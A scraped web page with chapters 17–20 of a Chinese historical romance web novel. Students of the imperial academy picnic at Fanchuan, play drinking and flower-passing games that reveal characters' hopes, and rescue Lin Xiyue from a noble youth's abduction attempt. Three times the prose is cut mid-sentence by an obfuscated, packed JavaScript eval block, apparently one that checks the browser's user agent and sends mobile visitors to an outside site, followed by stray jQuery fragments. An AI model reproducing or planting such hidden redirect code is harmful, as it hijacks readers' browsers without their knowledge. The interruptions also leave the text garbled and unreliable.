夏思卿吐了吐舌头,随即又发现了什么,说道,“诶?这的卢有意思哦,一路上就只在百里二哥和裴公子两匹马之间来回跑。”
“可不是。我也看一路了。”夏慕卿道,“阿摇是主人能理解,就是不知道裴逍是怎么得了它的眼缘?”
“的卢?这是狗的名字?”裴逍问。
“是啊,阿摇起的。”夏慕卿道。
裴逍眯了眯眼,奇怪地觑了前面的百里摇光一眼。
祁青阳坐在马车上,听到这名字,轻笑道,“给狗起马的名字,呵呵,有意思。”
“是吧,我也觉得很好笑哈哈哈”夏慕卿笑了起来,“他的那匹马,你们猜叫什么名字?”
裴逍向前看去,百里摇光那马通体雪白,没有半根杂色。
“这么白,肯定不是赤兔,也不是乌骓。”祁青阳一本正经道。
“哈哈哈哈”夏慕卿在马上笑得颠来倒去。
“有这么好笑嘛?”百里摇光看了眼夏慕卿,无奈道。
“那是?照夜白?”祁青阳询问道。
“哈哈哈哈,就是这个。哈哈哈。”几个少年的笑声伴着春风,在道上荡开了去。
·
樊川位于长安南郊,是有名的风景胜地,这里襟山带水,坐落了八座寺观,也有不少达官贵人在此地置产建别墅。
樊川东南连接了终南山北麓,几人或骑马或驾车行至一处山坡顶,在草地上铺了席子围坐一团,打算做些玩乐。
黄狗的卢在附近自己寻乐子玩了起来。
夏思卿兴致冲冲道,“咱们别玩那些诗啊赋啊的累人的酒令吧,玩点不费脑的”。
“我就知道”,夏慕卿无奈地将双手往后一撑,后仰过去。
其他几人都没意见。
于是夏思卿便组织起来。
“来来来,我们来抽签子行酒令。”夏思卿拿着一个竹筒回到几人中间,那竹筒上有梅兰竹菊的金色纹饰,竹筒里插着一些木签子。
夏思卿接着道,“我先来抽,抽到以后,签文上指示的人饮酒,饮酒的人再抽个签子决定下次饮酒的人是谁。这酒是很清甜的青梅酒,不醉人的。”
裴逍点了点头,其他几人也都各自示意认同。
夏思卿便将竹筒摇了摇,抽出一支签子来,念道,“人生交契无老少,论交何必先同调。——最年长与最年幼者共饮。”
夏思卿左右看看,笑着说,“百里二哥十五,四月生的,是之前我们中年纪最长的。裴公子和祁公子年纪呢?”
祁青阳道,“十四”。
裴逍道,“十三”。
“那最年幼和最年长的就是裴公子和百里二哥了,你们二人共饮一杯。”话毕,坐在夏思卿旁边的林曦月,取了酒壶和酒杯,斟了两杯酒,笑着分别递给了百里摇光和裴逍。
百里摇光接过酒杯,仰头就要喝,被夏思卿拦住,“等等百里二哥,是要共饮。你等等裴公子,一起喝。”百里摇光举酒停在胸前,道了声“请。”
裴逍接过了酒杯举高,看过去。两人仰头饮尽。
“不得了!裴逍。你这年纪最小,怎么看起来像个老酒鬼?我严重怀疑,夏清泽几个在你们斋舍里找到的酒瓶子,就是你的。”夏慕卿故作严肃道。
裴逍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800005|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抿了抿唇,微低了头。
百里摇光见此,忙岔开道,“该谁抽签子了?”
“那第二支令签,裴公子来抽吧。”夏思卿将签筒递给了裴逍。
裴逍接过,摇了摇签筒,一支签子直接掉落了出来,众人一看,“谢家生日好风烟,柳暖花春二月天。——生于同月者共饮”
“来来来,大家报下生辰月份。”夏思卿道,“我先来好了,我是二月,然后挨着顺序从我右手边报来,先是曦月。”
“九月”曦月浅笑着道。
“四月”裴逍报。
裴逍话音刚落,就听夏慕卿笑着说,“同月的已经有了”。
夏慕卿一说,裴逍便想起方才夏思卿所讲,百里摇光生于四月。
果然下一刻,夏慕卿便笑着道,“阿摇也是”。
众人都看向百里摇光,百里摇光却看着裴逍问,“我也是四月生辰,你生辰是哪日?”
“初一。”
她刚说完,只见百里摇光的桃花眼又睁大了一些,似有些错愕。
裴逍不明所以,这个日子难道有什么问题?
只听夏思卿拍拍手,笑着说,“好有缘分啊,百里二哥也是四月初一的生辰。”
裴逍心中不喜,只神色淡淡地点了点头。
夏思卿想到还没报完,便道,“我哥是十月,还剩祁公子没报了”。
祁青阳笑了笑道,“十一月”。
“那就只有摇光和裴逍是同月,你们两个再共饮一杯吧。”夏慕卿道。
两人举起酒杯,互相瞥了一眼,仰头喝尽。
“来来来,再抽一支签子,百里二哥来吧。”夏思卿道。
裴逍将签筒递给百里摇光,百里摇光接过,随手摇了摇,抽出一签,写着“平明寻白羽,没在石棱中。——力大者饮”。
“这签文看来跟我、思卿和曦月都没什么关系了。”夏慕卿笑着说,“剩下你们仨角逐一下吧”。
祁青阳连忙摇头摆手,苦笑着说“不敢不敢,跟我也没关系了”。
“别啊!我看你射箭,箭头入靶那么深,力气绝对不小,干嘛藏着掖着,跟我比比呗。”百里摇光道。
“气力我不擅长,我退出。”裴逍淡淡说了一声。
“那就剩祁公子和百里二哥啦,你们要不比掰手腕吧?”夏思卿兴奋地搓搓手说道。
“怎么样?”百里摇光看向祁青阳问道。
祁青阳无奈,见众人期待,只好说,“行,既然大家想看,那我就尽力在摇光手里多支撑会。”
“好,那就一局定胜负吧?”百里摇光提议道。
祁青阳点了点头。
“哈,幸亏我机智地带了张小几来,百里二哥和祁公子就倚在这小几上掰手腕吧。”夏思卿把小几上的点心酒壶等撤开,与众人道。
百里摇光和祁青阳两人各分坐一侧,单手放于几上,交握住角力起来。
其余几人在旁围观,夏思卿尤其激动,蹲到了两人手臂中间的小几旁边,凑近了看。
“夏思卿,你要不要这么兴奋?”夏慕卿扶着额头,一脸无奈。
“当然要兴奋了,一般又看不到。”夏思卿顾不上理会兄长的奚落,眼睛眨都不眨地看着。
几人本以为掰手腕应该会很快,并且这比试结果几乎是不用猜的。没想到的是,这两位双手交握,僵持了一刻钟,都没有出现向哪一侧有大的倾斜。
18. 第18章
“哇,祁公子竟然可以和百里二哥掰手腕这么久!”夏思卿惊叹。因为夏慕卿和百里摇光关系好,所以夏思卿早就知道百里摇光武力强、力气大。但是没想到祁青阳看起来文弱书生的样子,身形更单薄,个头也低一点,竟然能坚持这么久还没有输。
裴逍之前已经见识过祁青阳射箭入靶的深度,因此倒没有太惊讶。
她看着在角力的祁青阳和百里摇光,突然感觉这两个少年有点像,不只是具体的五官、眉眼有几分相像,当祁青阳和百里摇光两手交握开始角力之后,裴逍只觉得祁青阳整个人的姿态、神情和气质都在向百里摇光靠近。
再加上她酒量极小,虽是不醉人的青梅酒,她喝了两杯,也有些微恍惚。堪堪看着两个少年的身影重叠到了一块,裴逍晃了晃脑袋,去旁边山中小溪流里捧了清水,拍在脸上,清凉感一触肤,裴逍猛地清醒起来。
百里摇光出身将门,在边关长大,身上有种少年将军的凌厉和锋芒,而祁青阳,长于市井布衣贫苦之家,两人一个是低调却华贵的束身黑袍,一个是青衫简陋麻衣,但在二人角力之时,裴逍却从祁青阳身上,感觉到了和百里摇光相似的气质,不得不说有些奇怪。
又过了约莫半盏茶的时间,两个人交握的手臂开始有了比较明显的倾斜,而且令人意外的是向百里摇光的方向倾斜,可以看出百里摇光更加吃力了,脸颊侧面有汗珠开始沁出。
祁青阳稳稳靠坐在小几旁,神色从容,看起来似乎并没有很费力,唯有手腕在逐渐向百里摇光手腕的方向下压过去。
终于“咚”的一声,胜负决出,祁青阳彻底将百里摇光的手腕压到几上。
百里摇光愣愣地盯着自己被按倒在几上的手臂,似是不敢置信。
围观几人静默不语。
祁青阳像是在他将百里摇光手腕压倒在几上的瞬间,方才意识到自己做了什么,他愣了片刻,方才不好意思地道了声,“承让了。”
百里摇光呼了口气,用另一只手轻握了下祁青阳的手,随后松开,笑着道,“真没想到,国子学里竟有你这样的人?!你可知道,我在军中和年长我的许多将士比试掰手腕,从没输过的。”
祁青阳挠了挠头,讪讪回道,“不敢不敢,之前在家中做农活,练了把子力气而已。”
“太厉害了,祁公子,竟然可以赢了百里二哥。”夏思卿轻叹道。
夏慕卿凑近百里摇光调侃,“百里二,你也有今天哈哈哈。”百里摇光丝毫不在意地拨开他,似也颇为畅快。
·
“来来来,我们进行下一个游戏吧。”夏思卿招呼众人继续围坐下来,拿了面小鼓,用木槌咚咚敲了两下,说道,“击鼓传花,令官背对着所有人敲鼓,其他人依次传这个绢花”,说着她指了指林曦月手中捧着的梅花造型的绢花,接着介绍,“鼓声停,绢花传到谁手中,谁就必须回答令官一个问题。接着回答问题的人做下一个令官,再来敲鼓。各位都明白了吗?”
众人皆回应明白。
仍旧是先从夏思卿开始击鼓做令官,绢花从林曦月开始传递。
夏思卿击起鼓来,林曦月将绢花传给裴逍。裴逍接过,又传给祁青阳,就这样依次伴着鼓声传递起来。
鼓声起先慢而匀速,后鼓声转急,急响一阵后突然停下。
那绢花正在百里摇光手中,准备传给夏慕卿,但没来得及传出去。
“哈哈,百里二哥,准备回答我的问题吧。”夏思卿拿锤敲了一下鼓面,接着道,“我的问题就是——”说到这,她故意停顿了下,眼睛狡黠地眨了眨,“你喜欢什么样的姑娘?”
听了夏思卿这问题,百里摇光眼睛倏然睁大,嘴巴微张,显然没意料到夏思卿会问这类问题。其他几人也很意外,暗自庆幸这绢花没停在自己手里。林曦月似有点害羞,微微低了头,眼睛低低看着地面某处。
百里摇光半晌没言语,一副苦思冥想的样子,脸却渐渐有些红了。
夏思卿忍不住笑道,“这问题很难答吗?”
百里摇光回了一声,“嗯”。
夏思卿笑了几声,“好吧,再容你想想。”
百里摇光从未想过这类问题,听夏思卿问这个问题时,他不知为何脑子里突然闪过了一个画面,大雨中,一个清瘦单薄的少年独自刨土。
百里摇光立即晃了晃头,又默然想了片刻,才缓缓道,“我想,我约莫会喜欢心性不同常人的姑娘。”
“心性不同常人的姑娘?”夏思卿喃喃重复这几个字,突然灵光一闪,问道“是不是像百里二哥的三婶那样的女子?”
“差不多吧。”百里摇光含糊道,心里在想,三婶是有点像,但他所喜欢的心性不同常人的人,并非只是在男女情爱上。他想着想着,脑子里又闪过了难凉寨大雨中的那个少年,不自觉地向裴逍那边瞟了一眼。
“摇光的三婶是怎样的女子?”祁青阳开口问道。
夏思卿见有人问,立马找了个舒服的姿势坐下,兴致盎然地与几人讲了起来。
“说起百里二哥的三婶,那可太有的讲了。”
“她是忠国公府三老爷百里钊的夫人,姓林名清月,是林丞相的二女儿,也是曦月的二姐。”说到这,曦月见众人看向她,微微点了点头。
“十几年前,清月姐姐在自己心悦的郎君失踪后,为了反抗家族安排的婚约,故意吃了伤身子的药,从此无法再有子嗣,以此逼迫对方家族取消婚约。”
“这本来是两家私下商量好取消婚约就可以的事,不知怎么竟在京中传了起来,虽也有人称赞清月姐姐情比金坚,但更多的是认为她此举损害了家族声誉,而且已经无法再有子嗣,所以清月姐姐渐渐成了京中嫁不去的姑娘。”
裴逍心内唏嘘。她自是欣赏这女子对心悦之人爱得坚定,但又为她只能采取伤害自己的举动来换取不嫁不爱之人感到悲凉。裴逍不由得为其命运担忧,想知道她不惜自毁自伤是否等来了她心悦之人。
“可惜的是,”夏思卿接着讲道,“她等了五年,也没有等到那个她喜欢的,却失踪了的人。”
竟是如此吗?那她如何又成了忠国公府的三夫人?裴逍心想。
“可能老天都觉得不忍吧,让清月姐姐遇到了百里三叔。”
“当时京中对清月姐姐传言纷纷,百里三叔却不顾家中反对和他人眼光,执意向林家提亲求娶,在得知清月姐姐不愿嫁之时,便说愿意等。”
“这么一等,也是等了五年,才终于守得云开见月明,将清月姐姐娶回了家。他们二位成婚后感情特别好,百里三叔也没有再纳妾,就守着三婶,真真是这京中除了我父王以外最好的男人。”
夏慕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800006|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卿听到思卿称赞百里摇光三叔时还不忘夸她父王一把,白了她一眼,说道,“阿摇的三叔和三婶,夫妇二人琴瑟和鸣,感情甚笃,先前失踪的那人无福,却也阴差阳错地成全了后来的佳缘。”
裴逍轻轻点了点头,但她心里又觉得,失踪的那个人,或许并非是因为薄情负心。能得到林清月这样的女子青眼之人,应也不差才对,想必是发生了身不由己的事情才不辞而别的吧。
百里摇光自然也知道这些事,不过他倒没觉得他三叔守着三婶不纳妾是多么难得的事,他们百里家的男儿世代都不纳妾,祖父如此,父亲如此,连去世的二叔,当年也没有纳过妾。
“说了这么远,来来,我们继续击鼓传花。该百里二哥击鼓了。”夏思卿提醒道。
百里摇光站起来转过身,背对众人开始击鼓。
他耳力好,想通过听声辨位,控制绢花正好落在裴逍手中时停下鼓声。
当他停止击鼓,回过身来,果见裴逍拿着绢花,目光幽幽地看着他。
“好了,该百里二哥提问,裴公子回答。”夏思卿解说道。
“我想问的是——”百里摇光本有很多问题想问裴逍,比如裴逍为何老是半夜喝酒?他做噩梦是不是因为当年山寨中人被害?他梦中喊的那个阿泽是什么人?他来国子学真的是为了报仇吗?这些问题他也曾问过,但裴逍从未正面回答过。
他想问这些问题,但是话到嘴边,又咽了回去。他想这些,似乎都是裴逍的秘密。在这个时候,又有在这么多人在场的情况下问他还是不好。百里摇光顿了顿,终是没有问出,只学着夏思卿,问了句,“你喜欢什么样的姑娘?”
裴逍杏眸大睁,她猜到百里摇光会故意控制绢花落在她手中,只是没想到他竟然问了这么个问题。
“百里二哥学我!”夏思卿嘻嘻笑了起来。
几人都看向裴逍,等她回答。
裴逍年少伶仃,哪里想过这些。要她现在答这个问题,她只能想到八个字,“不离不弃,生死相依。”
其余几人听到这答案,心中都有些微震动。少年们虽然都还不能明白这话真正的重量,但还是心生向往。
“好个不离不弃,生死相依,让人听起来都有点动容。”夏慕卿手支着下巴说道,“不过,这个标准倒不是只有姑娘能达到,朋友也可能,知己也可能,哈哈,难不成你都娶了去?”
“哎呀,你别打岔。”夏思卿冲着夏慕卿喊道,接着又看向裴逍,“裴公子,如果有个姑娘,像你所说的对你如此,你就一定会喜欢她吗?不会觉得恼火厌烦?”
“你要问人家几个问题呀。”夏慕卿又打岔道。
夏思卿没理会他,只看着裴逍想听听他怎么说。
裴逍心中无奈,但见夏思卿一脸认真热忱,也不好扫她的兴,便道,“大概会喜欢,不烦。”
“知道了,谢谢裴公子。”夏思卿似乎突然高兴了起来。而后,她像怕其他人问什么似的,迅速将鼓和槌给了裴逍,让裴逍来击鼓。
裴逍接过鼓和槌,退了几步,转身背对众人,敲了起来。她倒不太在意鼓声停到谁那,只祈祷别是百里摇光就行。
鼓声停下,裴逍便听到夏思卿说道,“哎呀是我。”
裴逍转回身,见夏思卿笑嘻嘻地望着她,“裴公子,你想问我什么呀?”
19. 第19章
裴逍略微想了想,随即开口问道,“思卿可有想过怎么过自己的一生?”山寨被毁后,裴逍便决定以后都以男子身份生活,但是对于同龄的女子是怎么样的想法,她不免还是有些好奇,所以便问出了这个问题。
几人听到这个问题,都陷入了沉思。夏思卿也渐渐收敛了笑容,神情庄重起来。过了一会,她清脆的声音响起。
“怎么过自己的一生,我还没有完全想好。不过,我可以肯定的是,我不想过闺中女子那样,嫁人守在内宅,相夫教子一辈子的生活。”
“我想”夏思卿停顿了一下,接着道,“我想像父亲年轻时那样,像百里老将军、百里大伯那样,领兵守卫疆土,护一方百姓。”说着,她的双拳不自觉地握紧。
夏思卿神情郑重肃穆,不似往常,一番话中透露的凌云志向,又让人听得心中激荡。
裴逍心内颇受震动,她看着夏思卿,徐徐道,“思卿高义,希望你能得偿所愿。我想倘若有那么一天,不只你能如愿以偿,也将是天下女子之幸,大夏百姓之幸。”
“啪”,百里摇光在自己腿上拍了下,看着裴逍兴奋道,“难得你能跟我想法一样。我二婶当年便是与二叔一同在军中,虽没有官职,却也如二叔一般,受到军中士兵的敬重。”
“没错,我也听过百里二婶的事迹,要不是那可恶的凌风敖投敌叛国,害死了百里二叔和二婶,那二婶现在一定已经成为了大夏有名的女将军。”思卿愤愤说道。随即,她又看向裴逍,“裴公子你知道吗?除了百里二哥,就没人这么肯定过我的想法,即便是我父王和兄长,也没有。谢谢你能理解我。”
裴逍嘴角轻轻扯动了一下。
夏思卿凑到她兄长身边,炫耀一般说道,“哥,你看,我就说总有能理解我的男子吧。”
夏慕卿轻笑一声道,“裴逍能理解你,你未来的夫君却未必能理解你。”
夏思卿鼓起腮帮子,瞅了夏慕卿一眼,“总能找到的,如果实在找不到的话,大不了,就不嫁了,哼”。夏慕卿无奈地摇了摇头。
“好了好了,该我击鼓了。”夏思卿接过裴逍递来的鼓和槌,敲了起来。
这次鼓声响了比较久,时急时缓,几人已经将绢花传了好几圈。
夏慕卿不耐烦道,“你这丫头敲上瘾了是吧?”话音刚落,鼓声骤停,几人一看,绢花正传到了夏慕卿手中。
夏思卿回过头,嘻嘻笑着道,“哥,我的问题是——”。
“停!”夏慕卿抬起一掌撑在中间,“夏思卿你能不能换个问题?”
“哈哈,兄长聪慧,正是此问。你喜欢什么样的姑娘?”
几人都笑了起来。夏慕卿直接往后仰倒在了席子上。
“哎呀哥,我也是担心你给我找不到嫂子嘛,说说看嘛,我帮你留意留意。”夏思卿说道。
几人越发笑得厉害。
夏慕卿更不愿意说了,直躺着耍赖不答。
“你不说,我胡乱给你介绍了啊”夏思卿闪着杏眼,笑着道“我们女学礼部尚书的千金——”。
“停停停,我说。”夏慕卿打断夏思卿,坐了起来,认命地开口。“说起来也简单,但是却也不易。就是一点,有自己独立的意志。那种按照‘在家从父,出嫁从夫,夫死从子’的规训长成的牵线木偶,我是要不得的。那也太无趣了。”
“哈哈哈,哥这个,我举双手赞同!”夏思卿笑着道。
裴逍见一直微低着头有些害羞的曦月,在听到夏慕卿所说,惊讶地抬头看了夏慕卿一会儿,突然感觉到裴逍在看她,目光对上裴逍,瞬间又害羞低下头去了。
“去去去,你不是说我找不到嘛。好了该我当令官了,你们小心些。”夏慕卿说着,转身敲起了鼓。
鼓声很慢,间歇都快赶上寺庙里敲钟的间歇了。人都以为他已经停了,他又敲了起来,几人传绢花的速度也随之慢了下来。
绢花刚从裴逍手中传给林曦月,夏慕卿突然转身道,“就你了。”一看是到了林曦月手中,他稍微收敛了下形容,道“曦月,该我提问了哈”。
林曦月微微一笑,“世子请讲。”
夏慕卿想了一下,问道,“曦月,你为何想学医?”曦月想学医是他从夏思卿那里得知的,当今医者鲜有女子,世家大族中更是不会允许女眷从医抛头露面,所以他很好奇曦月想学医的原因。
裴逍听闻,也想到了第一次见曦月,就是在国子学和女学的门口,曦月拿了瓶药给康王。她见林曦月似有点害羞,微低着头道,“学医是想帮人医治疾病。”
夏慕卿有些疑惑,林丞相一家没听说过谁有什么不治之症啊。便是林丞相虽然年纪大了,但是身子骨似还挺硬朗的,他不禁问道,“帮什么人治病?”
林曦月听到此问,头更低了些,也更加害羞了,都能看到她侧边脸颊红红的。
夏思卿见曦月如此,连忙打断道,“哎呀,哥,你还说我问的问题多,你这不多吗,曦月已经回答完了。该进行下一个环节啦。”
夏慕卿便也没再问。看了下日头,已经临近正午了,问夏思卿,“后面安排了什么?”
夏思卿道,“这里不远有小溪,我们来抓鱼烤鱼吃吧。”
“嘿,你是会抓鱼还是会烤鱼啊?出这主意?”夏慕卿拆台道。
“不会不能学嘛?而且我带了调味的香料,实在不行,不烤制,直接做脍鱼呗。再不行,还有带点心、香糖果子,也饿不着。图个高兴呗。”
“行,就这样吧。”百里摇光道,“我会烤,而且旁边林子里应该有野禽,我们还可以打点野味一起烤。”
裴逍、祁青阳没什么意见,林曦月自然是同意夏思卿的。
夏慕卿见如此,只得道,“那好吧,不过,射箭我不行,水里不干不净我也不想下,如果你们不怕难吃的话,我就试着给你们烤东西吃了。”
几人笑了起来。
祁青阳道,“分个工好了,我会抓鱼、料理鱼,我主要负责这项好了,摇光和裴逍射术好,可以去林子里猎下野禽,咱们人少,有个一两只足够了。悦卿、曦月、慕卿可以看情况捡些枝木生火、帮忙烤制,这样如何?”
几人纷纷赞同,便按此分工行动起来,百里摇光、裴逍拿了弓箭,带了黄狗的卢,进了林子。
夏思卿、林曦月两人在四周捡枝木。夏慕卿惧脏污,不愿去地上捡拾,便坐在席子上,拿了卷书看了起来,只时不时抬头搜寻下夏思卿和林曦月的身影。
祁青阳先是折了一根树枝,借了夏思卿的剑,将一头削尖,随后将外衫衣摆塞进腰间,脱了鞋袜,卷起裤脚和袖子,下了水。
·
林子里,裴逍手掣弓箭走在前面,一言不发。黄狗的卢紧紧跟在她身边。
百里摇光双手枕在脑后,慢悠悠地走在后面。
“的卢,你说说你,怎么这么喜新厌旧?你再这个样子,我不要你了啊,你找你的新主人去吧。”
黄狗的卢自是听不懂,仍晃着尾巴跟在裴逍身边。而裴逍秀眉轻蹙,放慢了脚步。
裴逍虽然知道百里摇光是开玩笑,但她还是忍不住担心,如果百里摇光真的将姜姜弃了,她自己现身在国子学又没办法养它,那狗该怎么办。
百里摇光看着裴逍慢下来,基本和他并肩了,他勾起嘴角,一脸得意。
随后他想到什么,敛了笑容,“你是不是一直以为难凉寨是我带人剿灭的?”
裴逍心中一凛,远离百里摇光的一只手在袖子中捏了捏,状作无意道,“你一再问我这地方,到底在那发生了什么?”
百里摇光盯着裴逍看了半晌,终是重重舒了口气,说道,“不想承认随你吧——”
“我真不知你要我承认什么。”裴逍停下脚步,转身冷冷盯着百里摇光,打断了他接下来的话。那黄狗的卢见两人间气氛不好,夹起了尾巴,老实蹲在两人前面几步的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800007|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位置一动也不动。
百里摇光眼中闪过不可置信,半晌自嘲似地轻呵了一声,转过头,大步往前走。
他一边走,一边看着那黄狗说道,“有些人,根本没法沟通。不如我跟你说。”
那狗不明所以,看看百里摇光,看看裴逍,犹豫到底该跟谁。
“跟上。”百里摇光回头喊了一声,也不知是在跟那黄狗说,还是在跟裴逍说。
黄狗看了看裴逍,慢慢跟上了百里摇光,只是仍时不时回头看看裴逍。它见裴逍也慢慢跟上,方才减少了回头的频率。
“的卢,我跟你说,我可没带人灭了你的寨子和老家。”百里摇光低头看着黄狗说道。
裴逍在后看到这画面,无奈地轻摇了摇头。其实,经过这几日的相处,裴逍也觉得百里摇光不像是会做出歼灭难凉寨男女老幼百余口这样事情的人。只是为了自己的安全和将要做的事,她现在不能和百里摇光坦诚以对。
只听百里摇光又与的卢说道,“不过,你应该知道的吧?你身上的伤,不就是那时在寨子里被杀手伤的吗?我若是灭了你寨子,杀了你主人,你这狗就是再傻,也不会跟我的对不对?”
他盯着的卢问了一串,的卢自然是听不懂他在说什么,只吐着舌头,摇着尾巴看着他。
裴逍忍不住扯起了嘴角,她见前面百里摇光要回头,忙侧过身,作出一副在寻看猎物的模样。
百里摇光看了裴逍一眼,鼻子里长出了口气,没再说什么。
·
祁青阳穿了两尾鱼上岸,在溪水边就着清理干净后,便往回走。他生长在民间,河里抓鱼这种事情,自是驾轻就熟。
他走到驻营处,见枝木堆了一堆,只有夏慕卿在。
“思卿和曦月呢?”
“她们俩去山上寺庙了。”
祁青阳走到那堆枝木中看,见里面还有些潮湿的,他轻笑着摇了摇头,将那些潮湿的捡了出去,便准备生火。
正在这时,祁青阳恍惚听到有女子喊叫的声音。声音似有点远,飘飘悠悠听不太清。
“你有没听到什么声音?”他问夏慕卿。
夏慕卿也留神听了听,“是有”,他想到思卿和曦月还没回来,浓眉微皱,道“咱们去看看”。
两人当即起身,一起向声音传来的方向奔去。
他们沿着山路往上跑了一段,便看到有一少年,正在拉拽林曦月,而林曦月在奋力挣扎,远远看着她就快要被拖进一辆马车里去了。
祁青阳和夏慕卿赶忙加快跑去。那少年见有人追来,先让马车开动,掳走曦月跑了。而他则留在原地,摇了摇折扇,好整以暇地等着。
“慕卿,你先去追马车!”祁青阳说道。
祁青阳不会轻功,腿脚慢,由夏慕卿先去追马车救人自然更妥当。
“你小心,别与他正面冲突,等我。”夏慕卿说完便施展轻功,疾掠远去。
祁青阳则放慢脚步,缓缓走到了那少年面前,这才认出,竟是昨晚推曦月落水的那个少年。
“朗朗乾坤,清平世界,竟然当众掳掠良家女子,阁下真是好大的胆子。”祁青阳盯着那人斥责道。
那少年一袭鹅黄锦袍甚是华丽,头上金冠束发,当真是衣冠楚楚,只是他颧骨突出,眼神浑浊,看起来便不像个良善的。
他上挑着一边密而乱的眉毛,见祁青阳衣着朴素,轻蔑地扫了他一眼,嚣张地大笑起来。
祁青阳静观不语。
那人笑了一阵,见祁青阳面无惧色,便止了笑,瞪着祁青阳骂道,“你才是好大的胆子,不知是从哪来的贱民,竟敢来坏小爷好事!”
祁青阳无悲无喜,面无表情道,“我从哪来不重要,你可知,被你用马车掳走的姑娘,是丞相府千金?”
那少年轻嗤一声,骂道“关你屁事”,说罢便扭头看向家丁,“还不动手教训这不长眼的小子”。家丁会意,将祁青阳围了起来。
20. 第20章
裴逍和百里摇光人手一只山鸡回到之前驻扎的地方,却没有人在。
两人对视一眼,感觉有些不对劲,便丢下山鸡,分头在周围寻觅起来。
裴逍听到山上不远处,似有打斗声,便向那方向疾跑去。
打斗声越来越近。
裴逍瞧见,不远处,一个衣袍华贵的少年正在叫骂,“让你管小爷的闲事!”
而离这人几步之遥,几个家丁模样的人正围着一个青色麻衣的人踢打。
那被打之人的衣衫和今日祁青阳所穿一样,裴逍没有犹豫,疾步赶去,几下拳脚,将那几个家丁,打翻在地。
裴逍扶起那倒在地上的人,少年麻衣破损皱褶,一只眼睛肿地几乎睁不开,一侧腮帮子高高鼓起,嘴唇也破了,正在往外渗血,正是祁青阳。
裴逍握紧拳头,腾地站起,怒瞪着对面的华衣少年。
家丁们也都从地上爬起。他们惧怕裴逍身手,畏畏缩缩不敢再上前。
那华衣少年见此,叫嚷道,“上啊,不上你们等着回府我收拾你们”。
家丁迫于少年威势,只得再将裴逍围起来。
裴逍挡在祁青阳前面,与家丁动起手来。
交手间,裴逍突然听到一声惨叫。转头一看,见黄狗的卢咬住了那少年的小腿。
家丁们看到,纷纷丢开裴逍跑去护那少年。
的卢咬了一会,见许多人冲过来,掉头就跑。那少年咆哮,“你们快给我抓住这疯狗!我今天非把这狗给炖了!”
家丁们便又跑去追狗,反而没人对裴逍动手了。
裴逍正要上前走近那少年,身后突然一只手拽住了她的衣摆。
裴逍回过头,祁青阳一手抓着她的衣袍,一手撑着上半身坐起来,冲裴逍摇了摇头。
裴逍明白祁青阳的意思,她虽然心中气愤,但是没完全丧失理智。
昨日林曦月说此人是定国公嫡孙,当今皇后的亲弟弟,身份显赫。林曦月身为丞相千金,尚不敢正面冲突,不到万不得已,她最好还是别招惹此人。因此,她停在了几步远的位置,只冷冷地盯着那人。
那少年吃了狗咬,又惧怕裴逍身手,只心虚地往后退,不敢再骂一句。
不一会,追狗的家丁们灰溜溜地回来了,后面跟着百里摇光,还有黄狗的卢。
那少年见家丁们没将狗抓回来,破口大骂。“废物,怎么连只狗都抓不住?”
“哦,是你要抓我的狗?”百里摇光大步走上前,盯着那少年问道。
那少年上下看了看百里摇光,见他衣着、仪容不俗,问道,“你是何人?”
百里摇光没有理会他,径直走到裴逍身边,发现了地上倒的祁青阳,急问道,“怎么回事?是那人干的?”
祁青阳担心惹出什么事来,一手拽住百里摇光胳膊,轻轻摇了摇头。
那少年见百里摇光对他态度傲慢,连那狗都好好地跟着百里摇光没有一点受伤,不禁怒斥家丁,“还不把那狗给我抓来!”
家丁刚已被百里摇光出手教训过,此时根本不敢再动手,瑟瑟缩缩不再上前。那少年气得连连怒骂。
“想抓我的狗,好啊,到忠国公府上讨吧!”百里摇光抬头喝道。
那少年听到忠国公的名号,略微收敛了气焰,停止了叫嚣,只对手下几个家丁连踹带打地出气。
此时夏慕卿带着林曦月也回来了,对着那少年怒斥道,“光天化日抢掠官家女子,定国公府就是这么教导子弟的吗?”这时,他又看到了倒在地上的祁青阳,几步掠近。
那少年认得夏慕卿,闲散王爷世子的身份他倒是无所畏惧,不过对于百里摇光忠国公府的身份他还是有几分忌惮。今日他被这些人撞见,如借题发挥,把事情搞大了,可能会连累父亲、祖父,还有阿姐,他心生退意,狡辩道,“什么抢掠官家女子,我只是想邀林小姐到酒楼用膳而已。”
林曦月听闻气急开口,“胡说,你明明——”
“林小姐,你别红口白牙诬赖好人呀,你不在意自己名节,难道也不担心影响林丞相的声望吗?”那少年打断道。
这话正中林曦月的心结,她只得按下心中愤怒,不再作声。
